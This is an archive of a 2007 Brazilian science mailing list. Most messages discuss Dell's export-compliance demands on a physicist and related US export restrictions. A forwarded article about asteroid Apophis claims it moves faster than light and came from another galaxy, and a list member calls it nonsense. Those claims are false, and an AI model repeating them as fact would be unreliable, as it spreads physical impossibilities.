pesquisa do país. Gomes diz que quer devolver o equipamento à empresa, mas
para isso quer uma carta com esclarecimentos ao CNPq.

O que diz a Dell


A Dell não se pronunciou a esse respeito. Em nota, disse apenas que precisa
seguir as regras do governo dos EUA, sob pena de ver sua matriz sofrer
represálias.


"A Dell Computadores do Brasil Ltda., na qualidade de uma das empresas do
Grupo Dell, deve seguir as leis e regulamentos de exportação tanto do Brasil
quanto dos Estados Unidos da América", afirmou a empresa em comunicado
oficial.


"Dentre as regras as quais estamos sujeitos, não podemos fornecer produtos
ou serviços (i) para pessoas (físicas ou jurídicas) oriundas de países que
não possuam relações diplomáticas com os EUA e (ii) para utilização em
atividades consideradas de alto risco.

Por esses motivos, a Dell necessita saber qual será a destinação final dos
nossos produtos, onde e por quem serão utilizados, bem como se serão ou não
futuramente exportados.

Esses esclarecimentos devem ser prestados pelo cliente por meio dos
documentos padrão por ele mencionados. Caso deixemos de cumprir essas
exigências da legislação americana, a nossa empresa mãe no exterior (Dell,
Inc.) poderá ser severamente penalizada pelas autoridades dos EUA. Em última
análise, a Dell, Inc. poderá, até mesmo, ser impedida de exportar", declara
a empresa. Os PCs que são o pomo da discórdia foram fabricados no Brasil.

Apoio


Paulo Murilo Castro de Oliveira, colega de Gomes na UFF e vice-presidente da
Sociedade Brasileira de Física (SBF), afirmou ao G1 que a entidade
científica deve publicar em breve um relato escrito pelo físico e um pequeno
texto de apoio e solidariedade a ele. Oliveira disse que só poderia falar
por si mesmo sobre pontos específicos do problema. O vice-presidente da SBF
disse que teria a mesma reação que Gomes em contexto parecido. "Talvez a
minha tivesse sido mais violenta", declarou.


"O compromisso que a Dell do Brasil tenta impor é completamente contrário à
ética científica vigente no mundo inteiro. É bom lembrar que este não é o
primeiro episódio, há muitos outros no nível internacional. Posso citar, por
exemplo, que a Iupap, instituição que congrega várias dezenas de países
(inclusive os EUA) e promove todos os mais tradicionais congressos
científicos na área de física (entre várias outras atividades), já tirou sua
chancela de congressos realizados no país devido à proibição da entrada em
seu território de pesquisadores de certas nacionalidades", conta Oliveira.


Para o físico, os demais cientistas brasileiros deveriam seguir o exemplo de
Gomes e não assinar tais termos de compromisso. "Nós, brasileiros no Brasil,
temos que obedecer às normas e leis brasileiras."
http://g1.globo.com/Noticias/Ciencia/0,,MUL103259-5603,00.html


Cientista brasileira faz "contrabando" para burlar veto dos EUA
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CLAUDIO ANGELO
da Folha de S.Paulo

Cientistas brasileiros precisaram "contrabandear" nanotubos de carbono, um
produto químico de alta tecnologia usado em pesquisa básica, após terem um
pedido de compra negado por uma empresa dos Estados Unidos.

O caso aconteceu em 2005 e foi relatado ontem pela química Adelina Pinheiro
Santos, do Laboratório de Química de Nanoestruturas do Centro de
Desenvolvimento de Tecnologia Nuclear, órgão da CNEN (Comissão Nacional de
Energia Nuclear) em Belo Horizonte. É mais um exemplo de restrições que têm
sido impostas a cientistas brasileiros por normas de exportação em vigor nos
EUA.

Ontem a Folha revelou que a fabricante de computadores Dell tentou impor
restrição à compra de equipamentos pelo físico Paulo Gomes, da Universidade
Federal Fluminense, exigindo que ele assinasse um termo declarando que não
usaria o computador "na produção de armas de destruição em massa" nem que
transferisse os equipamentos a cidadãos de países do "eixo do mal", como
Cuba, Irã e Coréia do Norte.

Cientistas ouvidos pelo jornal afirmam que vários grupos de pesquisa no país
têm sido cerceados pelos EUA na importação de produtos considerados
sensíveis, como fibras de carbono, sensores eletrônicos de alta freqüência e
material para pesquisa nanotecnológica. Os americanos temem uso militar
desses componentes -como em centrífugas de urânio.

"O Brasil integra uma lista de países chamados "sensíveis", que têm um alto
grau de proibição", disse à Folha Ricardo Galvão, diretor do CBPF (Centro
Brasileiro de Pesquisas Físicas). "Somos continuamente foco desse
cerceamento, que eu acho inaceitável."

O próprio Galvão já sentiu a proibição na pele, também em 2005, ao tentar
receber de colaboradores portugueses uma peça que continha equipamentos de
microondas. Depois de muita espera, descobriu que a peça vinda da Europa
havia sido desviada para os EUA, que barraram seu envio ao Brasil. A
pesquisa que usaria o equipamento não pôde ser feita.

Em outra ocasião, os americanos chegaram a proibir o Cern, o Centro Europeu
de Física Nuclear, na Suíça, de mandar dispositivos microeletrônicos para
serem testados no Brasil. "Precisaram fazer tudo lá, com tecnologia mais
cara."

Nanotubos na mala

Adelina Santos, da CNEN, teve mais sorte, graças ao tamanho do material de
que precisava --e da ajuda de um colega que trabalhava nos EUA.

No primeiro semestre de 2005, ela tentou comprar 1 grama de nanotubos de
carbono da empresa americana Carbon Nanotechnologies Inc. para uma pesquisa
no desenvolvimento de polímeros. Nanotubos são tubos compostos de átomos de
carbono com milionésimos de milímetro de comprimento. Sua produção, no
entanto, é tão sofisticada que, apesar de nano, seu preço é mega: 1 g custa
US$ 500.

Mas nem com o dinheiro na mão Santos conseguiu o material. A resposta da
empresa foi dada por e-mail: "Infelizmente não somos autorizados a vender
para o Brasil no momento. O governo dos EUA tem regulações estritas no
tocante à exportação de certos materiais".

"Eles ainda foram gentis comigo", brinca a cientista. "Uma colega minha
mandou uma solicitação no mês passado e nem recebeu resposta."

"Tive de pedir a um colega que estava nos EUA na época para fazer a compra.
Nos encontramos num congresso, ele me passou o material, botei na mala
morrendo de medo e trouxe. Vê só que situação!"

Galvão, do CBPF, diz que o governo brasileiro deveria negociar com os EUA o
alívio às proibições. "Nem o Chile tem tantas." Por enquanto, o físico
protesta como pode. "Eu, pessoalmente, não compro mais computadores Dell."
http://www1.folha.uol.com.br/folha/ciencia/ult306u328060.shtml















Em 12/09/07, J.Victor <j.victor.neto@uol.com.br> escreveu:
>
> Realmente, isto é inusitado e...estranho. Já comprei computadores da Dell
> para colocar em sistemas de cftv. Inclusive, todos os computadores da
> Empresa contrante são da Dell. Todas as vezes fiz compras via internet. Em
> nenhum momento exigiram de mim algo absurdo do tipo, ou dos clientes, ao
> menos dos que conheço,e que usam pc´s dessa Empresa. Vai ver que foram
> com
> os meus cabelos que faltam e com os meus olhos que não são verdes!
>
> E qual a razão de um comportamento assim? Apenas em razão de o moço lá ser
> físico? Tinha muita graça! Continuo achando que tem ruído branco na
> linha.
>
> Estranho, muito estranho.
>
> Sds,
>
> Victor
>
>
>
> De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
> Em nome de Esteban Moreno
> Enviada em: quarta-feira, 12 de setembro de 2007 17:57
> Para: undisclosed-recipients:
> Assunto: [ciencialist] Físico pede boicote à Dell após veto a "eixo do
> mal"
>
>
>
> Fonte: REDETEC
>
> *Físico pede boicote à Dell após veto a "eixo do mal"*
>
> *Folha de São Paulo, 12/09/2007*
>
> Um grupo de físicos brasileiros está pedindo que acadêmicos no país
> inteiro
> boicotem a Dell, a segunda maior fabricante de computadores do mundo.
> O pedido, que circula na internet, foi feito depois que a empresa exigiu
> que
> um pesquisador assinasse um termo, ao comprar máquinas da empresa, no qual
> se comprometia a não usá-las "na produção de armas de destruição em massa"
> e
> não transferir os equipamentos a cidadãos de Cuba, Irã, Coréia do Norte,
> Sudão e Síria.
> O termo de compromisso, conhecido como "Export Compliance", foi mandado em
> 31 de agosto ao físico nuclear Paulo Gomes, da Universidade Federal
> Fluminense, que havia comprado dois computadores Dell para seu
> laboratório.
> Segundo a empresa, ele deveria ser assinado antes da entrega das máquinas
> e
> impresso em papel timbrado da universidade.
> Uma das cláusulas do termo determina: "Não transferiremos, exportaremos,
> ou
> reexportaremos, direta ou indiretamente, quaisquer produtos adquiridos da
> Dell para: Cuba, Irã, Coréia do Norte, Sudão, e/ou Síria, ou a qualquer
> estrangeiro com dupla nacionalidade, ou a qualquer outro país sujeito a
> restrições sob leis e regulamentos aplicáveis onde não estejamos situados,
> sob o controle de um indivíduo natural ou residente deste país".
> Outro termo: "Não utilizaremos os produtos em qualquer atividade
> relacionada
> ao desenvolvimento, produção, uso, ou manutenção de "Armas de Destruição
> em
> Massa", incluindo (...) usos relacionados ao desenvolvimento míssil,
> nuclear, e/ ou químico/biológico (...) Se estivermos engajados nestas
> atividades, estamos cientes de que estaremos sujeitos aos regulamentos de
> Licença de Exportação dos Estados Unidos".
> Segundo Gomes, a exigência foi feita depois que ele se identificou como
> físico ao fazer o pedido de compra. "A vendedora me informou que as
> ligações
> foram gravadas, então, como era para um instituto de física, eu precisava
> assinar", contou.
> Revoltado, o físico disse que não assinaria. "Eu não tenho de prestar
> satisfação a ninguém, nem sou obrigado a seguir as políticas americanas.
> Sou
> comprador, não estou recebendo doação. Além do mais, tenho interação com
> físicos cubanos, da qual não vou abrir mão."
> Àquela altura, as máquinas já haviam sido entregues. Gomes disse que
> devolveria os computadores, desde que a Dell devolvesse todo o dinheiro e
> mandasse uma carta ao Instituto de Física da UFF, para ser encaminhada ao
> CNPq -de onde saiu a verba para a compra-, justificando a restrição.
> A nota da empresa, encaminhada à Folha por sua assessoria de imprensa,
> afirma que a Dell, como empresa americana, deve seguir as leis e
> regulamentos de exportação dos EUA
> "Caso deixemos de cumprir essas exigências da legislação americana, a
> nossa
> empresa-mãe no exterior (Dell, Inc.) poderá ser severamente penalizada
> pelas
> autoridades dos EUA. Em última análise (...) poderá ser impedida de
> exportar."
> O caso foi relatado à SBF (Sociedade Brasileira de Física), ao ministro da
> Ciência e Tecnologia, Sergio Rezende, e a membros do Conselho Consultivo
> do
> CNPq, e já circula pela internet entre os físicos desde o feriado. "Há
> mais
> de 50 e-mails pedindo o boicote à Dell", diz. Segundo Gomes, a SBF vai
> sugerir a seus associados que não comprem computadores da marca. Procurado
> pela Folha, o vice-presidente da entidade, Paulo Murilo Oliveira, não quis
> revelar sua posição oficial.
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> [As partes desta mensagem que não continham texto foram removidas]
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> Página de apoio
> http://www.ciencialist.com
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> Links do Yahoo! Grupos
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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Efeito mexida ... era ... uma besta quadrada
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/09/2007 10:36

Sim Bulcão, isso acontece mesmo! E é um fenômeno diferencial na física! Esse efeito realmente existe ... vc não disse nada errado e nem eu estava criticando sua frase, apenas, não recordo o nome do efeito.
[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Manuel Bulcão" <manuelbulcao@uol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quinta-feira, 13 de setembro de 2007 05:50
Assunto: [ciencialist] Re: Efeito mexida ... era ... uma besta quadrada


Bem, eu não falei que "durante a mexida, as maiores e mais pesadas vão
para cima". Mas que a borra que fica em baixo (entre as quais
alguns "pedregulhos", desses de quebrar um dente) sobe, isso acontece.

[]s
Manuel Bulcão


--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
<leobarretos@...> escreveu
>
> Bulcão destaca:
>
> > ... no entanto, são como o grosso do sal e dos
> pedregulhos de uma panela de sopa muito mexida: a tendência é de toda
> a borra emergir, manter-se na superfície.<
>
> Alguém lembra o nome desse notável efeito físico? "Durante a mexida,
as maiores e mais pesadas vão para cima."
>
> Léo
>




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Página de apoio
http://www.ciencialist.com


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SUBJECT: Re: [ciencialist] Físico pede boicote à Dell após veto a "eixo do mal"
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/09/2007 10:45

Seus cabelos eram verdes?
Ou a frase não é subordinada temporal?
<"Vai ver que foram os cabelos que me faltam e meus olhos, que não são verdes, que sugeriram à
Dell não me exigisse tais coisas, tão absurdas!">
:-)
[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br
===========================
-----Mensagem Original-----
De: "J.Victor" <j.victor.neto@uol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quinta-feira, 13 de setembro de 2007 06:54
Assunto: ENC: [ciencialist] Físico pede boicote à Dell após veto a "eixo do mal"


Não importa muito, mas devo corrigir o texto abaixo, para eliminar as
cócegas de meu juizo.



SUBJECT: OPORTUNIDADE FINAL p/ V - GESITI 2007
FROM: "deise0109" <deise0109@bol.com.br>
TO: "ciencialist" <ciencialist@yahoogrupos.com.br>
DATE: 13/09/2007 15:21


De:GESITI - GEstão SI e TI em Organizaç ões
Para:deise0109@bol.com.br
Data:12/09/07 15:42
Assunto:OPORTUNIDADE FINAL p/ V-GESITI/2007


V- GESITI/2007 - SIstemas e Tecnologias de Informação aplicados à GEstão em Organizações.
CONVIDA (27/28 SET/2007)

Prezados (*),

Aumente o seu networking e atualize os seus conhecimentos profissionais! O GESITI trata de temas relativo a segurança da informação, inovação, tecnologias de informação e aspectos sócios técnicos, tendência na TVdigital e na identificação por RFID além da importante oportunidade de conhecer as atividades de P&D e serviços do CenPRA em prol da sociedade brasileira, a informação na cadeia de suprimentos, ITIL/COBIT e Geometria do Conhecimento entre outros.
Teremos como Palestrante de Abertura, em convite, na quinta feira-27 SET/07, o Exc. Sr. Ministro da C&T, Sérgio M. Rezende. O encerramento do evento, na sexta feira-28 SET/07, será conduzido por Helder/Helvis
Inscrição com desconto. Confira o que acompanha:
*Categorias de InscriçãoAté 14/09
R$ De 15/09 a 26/09
R$
Inscrição Individual200,00240,00
Inscrição Corporativa (a cada 2 inscrições da mesma empresa a 3ª será gratuita)400,00480,00
Inclui: almoço, coffee break, CD-R com artigos dos paletrantes - com palestrantes especialmente convidas - , pasta com informações, certificado de participação e uma edição do Livro POR QUE GESITI? - Segurança Inovação e Sociedade(com 432 páginas).

Local: Auditório do CenPRA - 27/28 SET/2007 - Campinas/SP - Estacionamento incluído
oGrade de PALESTRAS com Convidados Especiais: Ministro da C&T, Instituto Von Braun, UFPB, ABIN e HELVIS
Hotéis com descontos especiais para os participantes do evento GESITI/2007
PATROCINADORES: Banco do Brasil, ABIPTI e CenPRA

Atenciosamente
Comite Organizador do V-GESITI/2007
* - Se estiver recebendo esta mensagem de forma duplicada, pedimos antecipadamente nossas descuplas. Se quer ser removido da lista, responder, inserindo Remover no Subject.

Obrigada pelo contato
Deise Nascimento
+55(19)91234505
http://deisenascimento.blogspot.com/




[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: RES: [ciencialist] Físico pede boicote à Dell após veto a "eixo do mal"
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/09/2007 16:00





De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Luiz Ferraz Netto
Enviada em: quinta-feira, 13 de setembro de 2007 10:46
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] Físico pede boicote à Dell após veto a "eixo do
mal"



Seus cabelos eram verdes?
Ou a frase não é subordinada temporal?
<"Vai ver que foram os cabelos que me faltam e meus olhos, que não são
verdes, que sugeriram à
Dell não me exigisse tais coisas, tão absurdas!">
:-)
[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br <mailto:leobarretos%40uol.com.br>
http://www.feiradeciencias.com.br
===========================
-----Mensagem Original-----
De: "J.Victor" <j.victor.neto@uol.com.br <mailto:j.victor.neto%40uol.com.br>
>
Para: <ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> >
Enviada em: quinta-feira, 13 de setembro de 2007 06:54
Assunto: ENC: [ciencialist] Físico pede boicote à Dell após veto a "eixo do
mal"

Não importa muito, mas devo corrigir o texto abaixo, para eliminar as
cócegas de meu juizo.





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: RES: [ciencialist] Físico pede boicote à Dell após veto a "eixo do mal"
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 13/09/2007 16:09

Sei lá. Deve ser.

Não lembro mais esse negócio de subordinada temporal, atemporal. Mas acho
que a frase está correta.

Só sei que eu entendí o que quis dizer...E você também.

Mas uma vez minha namorada, e lá se vai bastante tempo, pintou um lado de
minha cabeça de verde!. Era tempo de carnaval. Foi interessante. Mas se quis
alguma coisa, tive que casar mesmo. Era assim, naquele tempo!

Sds,

Victor.



De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Luiz Ferraz Netto
Enviada em: quinta-feira, 13 de setembro de 2007 10:46
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] Físico pede boicote à Dell após veto a "eixo do
mal"



Seus cabelos eram verdes?
Ou a frase não é subordinada temporal?
<"Vai ver que foram os cabelos que me faltam e meus olhos, que não são
verdes, que sugeriram à
Dell não me exigisse tais coisas, tão absurdas!">
:-)
[]'
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br <mailto:leobarretos%40uol.com.br>
http://www.feiradeciencias.com.br
===========================
-----Mensagem Original-----
De: "J.Victor" <j.victor.neto@uol.com.br <mailto:j.victor.neto%40uol.com.br>
>
Para: <ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> >
Enviada em: quinta-feira, 13 de setembro de 2007 06:54
Assunto: ENC: [ciencialist] Físico pede boicote à Dell após veto a "eixo do
mal"

Não importa muito, mas devo corrigir o texto abaixo, para eliminar as
cócegas de meu juizo.





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Rota de colisão
FROM: "SILVIO CORDEIRO" <scordeiroes@superig.com.br>
TO: <Undisclosed-Recipient:;>
DATE: 13/09/2007 17:21

Ciência e Tecnologia

Rota de colisão

MARCELLO MIRANDA/ São Bento do Sul









Um asteróide está em rota de colisão com a Terra. Impacto previsto para 2036. Há um concurso, promovido pela Agência Espacial Norte-Americana, oferecendo US$ 50 mil para quem encontrar um meio de evitar o choque. Mais do que a questão financeira, é uma oportunidade para testar seus conhecimentos. É assim que o espanhol César Bentancurt encara o desafio. Há três anos morando em São Bento do Sul, agora está em busca de parceiros brasileiros para auxiliar suas pesquisas.

Formado em Medicina, especializou-se em Engenharia Genética. Mas sua paixão são os números e as fórmulas. Estudou, na França, matemática e física quântica e, mais tarde, se aperfeiçoou em matemática aeroespacial. É com base nesses estudos que elabora sua tese para concorrer ao prêmio e, de alguma forma, colaborar para evitar o choque do asteróide Apophis 2004. O nome dado ao astro é nada sugestivo, refere-se ao deus egípcio da destruição.

Com aproximadamente 400 metros de diâmetro, composto basicamente por ferro e pedras estelares, o Apophis viaja a uma velocidade surpreendente, capaz de percorrer mais de 1,1 milhão de quilômetros por segundo, quase quatro vezes a velocidade da luz. Como foi descoberto somente em 2004, acredita-se que tenha vindo de outra galáxia.

- O que mais impressiona é a velocidade, e, por causa disso, não há arma no mundo capaz de atingi-lo - afirma.

De acordo com o matemático, devido à grande velocidade, um míssil lançado da Terra, por exemplo, explodiria antes de chegar ao corpo do asteróide. Devido ao magnetismo da rocha, poeira cósmica e luz formam uma barreira protetora. Em caso de colisão com o planeta, explica César, a vida seria extinta.

- O impacto seria tão forte que elevaria a temperatura até 700ºC, causando erupções vulcânicas e ondas gigantes - prevê.

Parte do trabalho que desenvolve em torno de seus cálculos matemáticos é compartilhado com a Nasa, onde uma irmã e amigos trabalham. O concurso, explica, é destinado a universidades e institutos de pesquisa, mas ele resolveu participar de forma individual. Agora, César está em busca de parceiros, cientistas ou instituições, para compartilhar informações.

Sua tese para evitar a colisão do asteróide com a Terra é a de alinhar quatro grandes satélites artificiais, equipados com painéis solares, emitindo luz e energia do sol contra a rocha. Ele sugere utilizar satélites já existentes para isso. Os equipamentos estão no espaço, alguns armados.

- Energia do sol seria direcionada ao asteróide fazendo com que ele se desintegrasse - argumenta.

Esse alinhamento, explica, deveria acontecer daqui a 13 anos, quando também ocorre alinhamento total dos planetas do sistema solar. A partir daí, raios luminosos transmitidos pelos satélites seguiriam o meteoro. Antes do choque previsto com a Terra, o Apophis passará próximo ao planeta em 2029. O prazo para envio de teses à Nasa sobre como evitar a colisão se encerra em 10 anos.


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Novo XPrize (Lua)
FROM: "Luis Brudna" <luisbrudna@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/09/2007 18:51

Mais uma premiacao.

Google patrocina o Lunar X PRIZE para criar uma corrida espacial para
uma nova geração

Prêmio de US$ 30 milhões em dinheiro para os ganhadores

SANTA MONICA, Califórnia, 13 de setembro de 2007 – A X PRIZE
Foundation e o Google Inc. (NASDAQ: GOOG) anunciaram hoje o Google
Lunar X PRIZE, uma corrida robotizada para a Lua para ganhar um
extraordinário prêmio de US$ 30 milhões em dinheiro. Empresas privadas
do mundo inteiro vão competir para levar para a Lua uma expedição
robotizada de propriedade privada que seja capaz de realizar várias
missões, incluindo vagar na superfície lunar por pelo menos 500
metros, além de enviar vídeos, imagens e dados para a Terra.
http://www.googlelunarxprize.org/lunar/intl/bra


Alguem?! :-)


( e Google Moon
http://www.gluon.com.br/blog/2007/09/13/google-moon-lua-reformulado/ )

Ateh
Luis Brudna

=-=


SUBJECT: Re: Efeito mexida ... era ... uma besta quadrada
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/09/2007 19:04

Salve, Léo!

> Sim Bulcão, isso acontece mesmo! E é um fenômeno diferencial na
física! Esse efeito realmente existe ... vc não disse nada errado e
nem eu estava criticando sua frase, apenas, não recordo o nome do
efeito.

Manuel: Ufa! Pois eu pensei que você estivesse curtindo com a minha
cara, re re!

Você foi vítima do efeito "é o lobo!". Devido ao seu jeitão gozador -
principalmente para quem não é do ramo da ciência "hard" - a gente só
acredita que vc está realmente falando sério se a sua mensagem
estiver lavrada em cartório. :-)

Acho que o químico da lista, o Chamello, pode responder sua pergunta.
Desconfio que o nome é "efeito de mistura" e que tem alguma coisa a
ver com fluxo difusivo turbulento.

Abraço,
Manuel Bulcão


> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@...
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: "Manuel Bulcão" <manuelbulcao@...>
> Para: <ciencialist@yahoogrupos.com.br>
> Enviada em: quinta-feira, 13 de setembro de 2007 05:50
> Assunto: [ciencialist] Re: Efeito mexida ... era ... uma besta
quadrada
>
>
> Bem, eu não falei que "durante a mexida, as maiores e mais pesadas
vão
> para cima". Mas que a borra que fica em baixo (entre as quais
> alguns "pedregulhos", desses de quebrar um dente) sobe, isso
acontece.
>
> []s
> Manuel Bulcão
>
>
> --- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> <leobarretos@> escreveu
> >
> > Bulcão destaca:
> >
> > > ... no entanto, são como o grosso do sal e dos
> > pedregulhos de uma panela de sopa muito mexida: a tendência é de
toda
> > a borra emergir, manter-se na superfície.<
> >
> > Alguém lembra o nome desse notável efeito físico? "Durante a
mexida,
> as maiores e mais pesadas vão para cima."
> >
> > Léo



SUBJECT: Re: Físicos e a Dell
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/09/2007 19:30

--- Em ciencialist@yahoogrupos.com.br, Gil <nanolink01@...> escreveu
>
> Tempos de paranóia...

Manuel: Realmente, Gil. Muita gente pensou que, com o término da guerra
fria entre EUA e URSS, o Mundo ingressaria num longo período de paz. O
Mundo, porém, comporta-se igualzinho ao time de futebol que torço, o
Ceará Sporting Club: assim que a gente começa a pensar que ele está
melhorando, ele perde para um timinho qualquer (o Fortaleza, p.ex.) e
piora.

A vida é injusta!

[]s
Manuel Bulcão



SUBJECT: Re: [ciencialist] Re: Físico pede boicote à Dell após veto a "eixo do mal"
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/09/2007 01:38

Até hoje me surpreendo por que as pessoas insistem e até recomendam
comprar computadores da DELL. Têm um custo de compra alto e manutenção
cara, apesar do serviço excelente, e os equipamentos não são tão bons
como os que há de melhor do mercado, principalmente os laptop da Dell
(alias, sou um sofrido usuário).
Esta restrição da DELL existe há bastante tempo e já presenciei a
mesma carta no tempo em que trabalhei no CETEM, com exceção desta
limitação para Cuba e etc., é uma novidade... e achava que estavam
amenizando...
Esteban.


SUBJECT: Re: Físicos e a Dell
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/09/2007 11:46

Segue a suíte:

Ministério pede explicações à Dell sobre exigências a físicos
http://www1.folha.uol.com.br/folha/ciencia/ult306u328417.shtml
------------------------

[]s,

Roberto Takata



SUBJECT: Re: Rota de colisão
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/09/2007 11:51

--- Em ciencialist@yahoogrupos.com.br, "SILVIO CORDEIRO"
> Ciência e Tecnologia
>
> Rota de colisão
>
> MARCELLO MIRANDA/ São Bento do Sul

Bobajada sem fim.

> Com aproximadamente 400 metros de diâmetro, composto basicamente por
> ferro e pedras estelares, o Apophis viaja a uma velocidade
> surpreendente, capaz de percorrer mais de 1,1 milhão de quilômetros
> por segundo, quase quatro vezes a velocidade da luz.

Claaaaaro, um objeto massivo se deslocando a velocidades maiores do q
a da luz - deve estar viajando no tempo a essa hora. E o autor desse
texto apócrifo sem pé nem cabeça deve estar viajando na maionese.

Mais uma da Peugeot-Citroen?

[]s,

Roberto Takata



SUBJECT: Queimando água do mar como combustível?
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 14/09/2007 12:24

Queimando água do mar como
combustível?<http://www.ceticismoaberto.com/news/?p=980>

Assista ao vídeo <http://www.ceticismoaberto.com/news/?p=980>

O americano John Kanzius pode ser o inventor do milênio: não só está
desenvolvendo a cura para o câncer, como por acidente *acabou descobrindo
uma forma de queimar água salgada*. Ou pelo menos é a notícia que está
causando um frenesi pelos EUA desde o início do mês.
Kanzius não dá muitos detalhes de seu método, que ele estaria tentando
aperfeiçoar e patentear, mas o que ele revela é que só funciona com água
salgada. Colocada entre os terminais de um emissor de freqüências da rádio,
não muito diferente de um microondas, a água começa a borbulhar e, segundo
ele, o hidrogênio e oxigênio que compõem nossa H2O se separam, podendo ser
queimados novamente em uma chama tão quente que derreteria metais. Seria
esta a solução para todos nossos problemas, do aquecimento global às guerras
por petróleo no Oriente Médio? E Kanzius ainda conseguiria curar o câncer
como pretende? Continue lendo para ir mais fundo nas aventuras deste
possível herói americano.

Leia o resto desta entrada
»<http://www.ceticismoaberto.com/news/?p=980#more-980>


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Mr Fusion
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 14/09/2007 12:26

Mr Fusion <http://100nexos.com/arquivo/283><http://100nexos.com/arquivo/283#respond>

<http://efeitoazaron.com/2007/09/12/mr-fusion-ou-sr-fusao-1/>
O Efeito Ázaron aborda o maravilhoso Sr. Fusão de De Volta para o
Futuro<http://efeitoazaron.com/2007/09/12/mr-fusion-ou-sr-fusao-1/>.
É preciso ser Quase-Físico para sacar as tiradas geniais [image: :-)]


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: O poder de Magneto na vida real
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 14/09/2007 12:27

O poder de Magneto na vida real <http://100nexos.com/arquivo/286>
Assista ao v�deo <http://100nexos.com/arquivo/286>

Confira acima um v�deo chato de seguran�a no manuseio de um aparelho de
resson�ncia magn�tica. Chato, exceto ao redor dos tempos de 1 minuto e 4
minutos, quando chaves inglesas de ferro saem voando pelo ar em dire��o ao
aparelho, estra�alhando tudo pelo caminho. A Resson�ncia
Magn�tica<http://pt.wikipedia.org/wiki/Resson%C3%A2ncia_magn%C3%A9tica>envolve
campos magn�ticos at� mil vezes mais intensos que o terrestre, e
qualquer objeto magnetiz�vel sair� literalmente voando, algo como os
superpoderes mutantes X-Men de Magneto.
Fascinante como o fogo, mas t�o ou mais perigoso. Em 2001, um garoto de seis
anos morreu atingido por um
extintor<http://query.nytimes.com/gst/fullpage.html?sec=health&res=9C04E4D91731F931A1575BC0A9679C8B63>,
quando um funcion�rio levou o extintor � que � um cilindro de a�o � para a
sala de Resson�ncia Magn�tica tentando apagar um fogo. Para entender o
perigo de forma mais gr�fica, confira este v�deo de um cilindro de oxig�nio
lan�ado dentro de um aparelho:

Assista ao v�deo <http://100nexos.com/arquivo/286>

Devem ter feito a perigosa demonstra��o porque o aparelho estava antigo e
seria desmontado: aparelhos funcionais custam milh�es de d�lares, mais
centenas de milhares de doletas para sua manuten��o.
Bem, depois de compreender a for�a de tais aparelhos � jamais brigue com um!
�, voc� pode dar algumas risadas com esse v�deo em que tentam remover uma
cadeira grudada ao aparelho com peda�os de madeira:

Assista ao v�deo <http://100nexos.com/arquivo/286>

Pode ser engra�ado, mas aquela situa��o era perigos�ssima! Mais fotos de
objetos presos a aparelhos de resson�ncia
aqui<http://www.simplyphysics.com/flying_objects.html>
.
[via Mind Hacks<http://www.mindhacks.com/blog/2007/09/the_awesome_power_of.html>,
Daily Grail <http://www.dailygrail.com/node/5270>]

*Veja tamb�m:*
Marilyn Monroe + Albert Einstein <http://100nexos.com/arquivo/122> Veja o
rosto do f�sico alem�o acima...
